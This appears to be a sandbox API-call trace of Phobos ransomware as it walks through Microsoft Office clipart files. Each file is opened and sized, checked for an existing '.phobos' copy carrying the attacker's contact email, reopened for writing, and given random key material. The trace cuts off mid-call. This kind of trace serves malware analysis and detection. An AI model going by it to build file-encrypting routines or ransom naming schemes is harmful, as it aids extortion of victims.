[0152.111] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5618) returned 1 [0152.111] CloseHandle (hObject=0x564) returned 1 [0152.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf")) returned 0x220 [0152.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.112] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42883) returned 1 [0152.112] CloseHandle (hObject=0x564) returned 1 [0152.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg")) returned 0x220 [0152.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.112] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.113] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21620) returned 1 [0152.113] CloseHandle (hObject=0x564) returned 1 [0152.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg")) returned 0x220 [0152.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.114] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.115] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=42120) returned 1 [0152.115] CloseHandle (hObject=0x564) returned 1 [0152.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf")) returned 0x220 [0152.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.116] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.116] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=24796) returned 1 [0152.116] CloseHandle (hObject=0x564) returned 1 [0152.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf")) returned 0x220 [0152.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.117] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.118] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8006) returned 1 [0152.118] CloseHandle (hObject=0x564) returned 1 [0152.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf")) returned 0x220 [0152.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.125] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.125] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9442) returned 1 [0152.126] CloseHandle (hObject=0x564) returned 1 [0152.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf")) returned 0x220 [0152.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.126] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.127] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=39738) returned 1 [0152.127] CloseHandle (hObject=0x564) returned 1 [0152.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf")) returned 0x220 [0152.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.128] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.129] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5252) returned 1 [0152.129] CloseHandle (hObject=0x564) returned 1 [0152.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf")) returned 0x220 [0152.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.130] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.130] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3482) returned 1 [0152.130] CloseHandle (hObject=0x564) returned 1 [0152.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf")) returned 0x220 [0152.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.132] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.134] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7336) returned 1 [0152.134] CloseHandle (hObject=0x564) returned 1 [0152.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf")) returned 0x220 [0152.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.138] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35542) returned 1 [0152.138] CloseHandle (hObject=0x564) returned 1 [0152.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg")) returned 0x220 [0152.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.138] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.139] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=58089) returned 1 [0152.139] CloseHandle (hObject=0x564) returned 1 [0152.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg")) returned 0x220 [0152.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.140] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.143] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26022) returned 1 [0152.143] CloseHandle (hObject=0x564) returned 1 [0152.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf")) returned 0x220 [0152.143] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.143] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.143] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.144] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.144] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7594) returned 1 [0152.145] CloseHandle (hObject=0x564) returned 1 [0152.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf")) returned 0x220 [0152.145] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.145] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.145] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.148] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4198) returned 1 [0152.148] CloseHandle (hObject=0x564) returned 1 [0152.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf")) returned 0x220 [0152.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.148] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.149] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27586) returned 1 [0152.149] CloseHandle (hObject=0x564) returned 1 [0152.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf")) returned 0x220 [0152.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 